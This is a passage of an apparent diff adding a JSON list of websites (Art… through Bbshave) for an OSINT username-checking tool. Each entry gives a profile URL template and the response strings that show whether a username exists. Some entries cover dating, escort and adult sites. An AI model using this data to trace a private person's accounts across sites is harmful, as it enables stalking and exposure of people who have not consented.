"category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artistsnclients", + "url": "https://artistsnclients.com/people/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "artmilitaire.ru", + "url": "http://artmilitaire.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artpersona", + "url": "http://artpersona.org/cb/userprofile/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + }, + { + "name": "Artstation", + "url": "https://www.artstation.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artstation", + "url": "https://artstation.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Artsy", + "url": "https://www.artsy.net/artist/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aruba_CLOSEDEAD", + "url": "https://www.aruba.com/forum/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to vie" + }, + { + "name": "Ascend4", + "url": "https://ascend4.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Asciinema", + "url": "https://asciinema.org/~{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "asecurity.do.am", + "url": "http://asecurity.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Asianwiki", + "url": "https://asianwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ask Fedora", + "url": "https://ask.fedoraproject.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AskFM", + "url": "https://ask.fm/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Well, apparently not anymore." + }, + { + "name": "Askubuntu", + "url": "https://askubuntu.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "Askvoprosy", + "url": "https://askvoprosy.com/polzovateli/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>" + }, + { + "name": "Aspirantura_spb", + "url": "http://www.aspirantura.spb.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "asquero.com", + "url": "https://asquero.com/user/dashboard/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find The Best Learning Resources", + "match_string": "Tutorials" + }, + { + "name": "Astra-club", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astraclub", + "url": "http://astraclub.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astraclub", + "url": "https://astraclub.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astralinux", + "url": "https://forum.astralinux.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Astralinux_CLOSEDEAD", + "url": "https://forum.astralinux.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Astro-talks", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astro-talks", + "url": "https://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astrogalaxy", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Atc", + "url": "http://www.atc.az/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Account Suspended" + }, + { + "name": "Atcoder", + "url": "https://atcoder.jp/users/{}", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Atlanticcouncil", + "url": "https://www.atlanticcouncil.org/expert/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "atm-club.moy.su", + "url": "http://atm-club.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Au", + "url": "https://au.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + }, + { + "name": "Audi-bel", + "url": "http://www.audi-bel.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Audiojungle", + "url": "https://audiojungle.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aufeminin", + "url": "https://www.aufeminin.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Aussiehomebrewer", + "url": "https://aussiehomebrewer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aussiehomebrewer.com", + "url": "https://aussiehomebrewer.com/members/{}.1/", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Austin Escort Models (Austin, TX)", + "url": "https://austinescortmodels.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "<td>Ethnicity:</td>" + }, + { + "name": "AustralianFrequentflyer", + "url": "https://www.australianfrequentflyer.com.au/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "australianfrequentflyer.com.au", + "url": "https://www.australianfrequentflyer.com.au/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "author.today", + "url": "https://author.today/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Authorstream", + "url": "https://authorstream.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We apologize for this inconvenience", + "match_string": "subheading" + }, + { + "name": "auto63.ru", + "url": "http://auto63.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autocb.ucoz.ru", + "url": "http://autocb.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autofrage", + "url": "https://www.autofrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autokadabra", + "url": "http://autokadabra.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autolada", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title> :: AUTOLADA.RU", + "match_string": "postdetails" + }, + { + "name": "Autolenta", + "url": "https://community.autolenta.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Automania", + "url": "https://automania.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Go to the homepage", + "match_string": "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + }, + { + "name": "autosila.at.ua", + "url": "http://autosila.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autotob.ru", + "url": "http://autotob.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "av.3dn.ru", + "url": "http://av.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ava Escorts (International)", + "url": "https://avaescorts.com/search-results?escort_name={}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "escorts found (0)", + "match_string": "/>Outcall Only<br" + }, + { + "name": "avangard-basket.at.ua", + "url": "http://avangard-basket.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avforums", + "url": "https://www.avforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Avforums", + "url": "https://avforums.com/members/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "logged-in to do that" + }, + { + "name": "avia-forum.ucoz.ru", + "url": "http://avia-forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviabaza-meria.ucoz.ru", + "url": "http://aviabaza-meria.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviaforum.ucoz.ru", + "url": "http://aviaforum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviahistory.ucoz.ru", + "url": "http://aviahistory.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AvidCommunity", + "url": "https://community.avid.com/members/{}/default.aspx", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found", + "match_string": "My Announcements" + }, + { + "name": "Avizo", + "url": "https://www.avizo.cz/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "avon-kiev.at.ua", + "url": "http://avon-kiev.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avon-registry.com.ua", + "url": "http://avon-registry.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avsim", + "url": "https://www.avsim.com/search/?q={}&quick=1", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "avto-box.at.ua", + "url": "http://avto-box.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avto-forum", + "url": "https://avto-forum.name/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Avto-forum.name", + "url": "https://avto-forum.name/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avto.dzerghinsk.org", + "url": "http://avto.dzerghinsk.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avtoexamen.com", + "url": "http://avtoexamen.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtoforum", + "url": "https://avtoforum.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtolyubiteli", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Avtomarket", + "url": "https://avtomarket.ru/u/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "AW", + "url": "https://aw.by/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "match_string": "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + }, + { + "name": "AWS Skills Profile", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "shareProfileAccepted\":false" + }, + { + "name": "azhack.ucoz.net", + "url": "http://azhack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.dn.ua", + "url": "http://azovmore.dn.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.ucoz.ru", + "url": "http://azovmore.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "B17", + "url": "https://www.b17.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babepedia", + "url": "https://www.babepedia.com/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Profile not found", + "match_code": 200, + "match_string": "'s Page" + }, + { + "name": "Babepedia", + "url": "https://babepedia.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Username:" + }, + { + "name": "Babepedia", + "url": "https://www.babepedia.com/babe/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, she wasn't found in our database.", + "match_string": ">Add to favorites" + }, + { + "name": "BabesDirectory", + "url": "https://babesdirectory.online/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Babe not found 404", + "match_string": "BIO, Wiki, News" + }, + { + "name": "Babestation Cams (performer)", + "url": "https://babestationcams.com/performer/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Not Found", + "match_string": "Babestation Cams" + }, + { + "name": "Baby", + "url": "https://forum.baby.ru/u/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baby", + "url": "https://baby.ru/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "error404", + "match_string": "user-header" + }, + { + "name": "Baby.ru", + "url": "https://www.baby.ru/u/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page__title", + "match_string": "user-name" + }, + { + "name": "Babyblog", + "url": "https://babyblog.ru/user/info/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "diary-header" + }, + { + "name": "Babyblog", + "url": "https://www.babyblog.ru/user/info/{}", + "category": "news", + "source": "nexfil", + "nsfw": false + }, + { + "name": "BabyBlog.ru", + "url": "https://www.babyblog.ru/user/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Babyboom", + "url": "https://www.babyboom.pl/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "babyboom.pl", + "url": "http://www.babyboom.pl/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Babycenter", + "url": "https://www.babycenter.in/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babymama.ucoz.ru", + "url": "http://babymama.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BabyPips", + "url": "https://forums.babypips.com/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found", + "match_code": 200, + "match_string": "user_badges" + }, + { + "name": "Babyplan", + "url": "https://www.babyplan.ru/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "BabyRu", + "url": "https://www.baby.ru/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "BackdoorSdslabs", + "url": "https://backdoor.sdslabs.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user exists" + }, + { + "name": "badoink vr", + "url": "https://badoinkvr.com/vr-pornstar/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This page does not exist", + "match_string": "Measurements:" + }, + { + "name": "Badoo", + "url": "https://badoo.com/profile/{}", + "category": "dating", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baggi.ucoz.ru", + "url": "http://baggi.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/Wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Baidu", + "url": "https://tieba.baidu.com/home/main?un={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error_404_iframe", + "match_string": "user_name" + }, + { + "name": "Balancer", + "url": "https://www.balancer.ru/tools/search/result/?q={}r&s=t", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Ballofspray", + "url": "https://www.ballofspray.com/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "baltnethub.3dn.ru", + "url": "http://baltnethub.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://www.bandcamp.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://bandcamp.com/{}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

Sorry, that something isn\u2019t here.

", + "match_code": 200, + "match_string": " collection | Bandcamp" + }, + { + "name": "Bandlab", + "url": "https://www.bandlab.com/api/v1.3/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "find any matching element, it might be deleted", + "match_string": "genres" + }, + { + "name": "Bandlab", + "url": "https://bandlab.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-header" + }, + { + "name": "banki.ru", + "url": "https://banki.ru/blog/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baraza_africa", + "url": "https://baraza.africa/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "couldnt_find_that_username_or_email" + }, + { + "name": "Barca", + "url": "http://www.barca.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "Barcamania", + "url": "https://www.barcamania.com/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Barnacl", + "url": "https://barnacl.es/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "barnaul-forum.ru", + "url": "http://barnaul-forum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baseball-reference.com", + "url": "https://baseball-reference.com/bullpen/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basecamphq", + "url": "https://{}.basecamphq.com/login", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bash", + "url": "https://bash.cyberciti.biz/guide/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bashtanka.at.ua", + "url": "http://bashtanka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bashteplovent.ucoz.ru", + "url": "http://bashteplovent.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basistar", + "url": "https://basistar.de/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bassclub", + "url": "https://bassclub.ru/forum/search/?q={}&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Battlefield", + "url": "https://battlelog.battlefield.com/bf4/ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "Battleraprus", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baykovoshkola.ucoz.ru", + "url": "http://baykovoshkola.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://www.bayoushooter.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://bayoushooter.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Baza-knig", + "url": "https://baza-knig.ink/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bazar.cz", + "url": "https://www.bazar.cz/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bb_chip", + "url": "https://bb.chip.icu/u/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbclub.ucoz.ru", + "url": "http://bbclub.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbpress.org", + "url": "https://bbpress.org/forums/profile/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.evony.com", + "url": "http://bbs.evony.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + }, + { + "name": "Bbshave", + "url": "https://bbshave.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 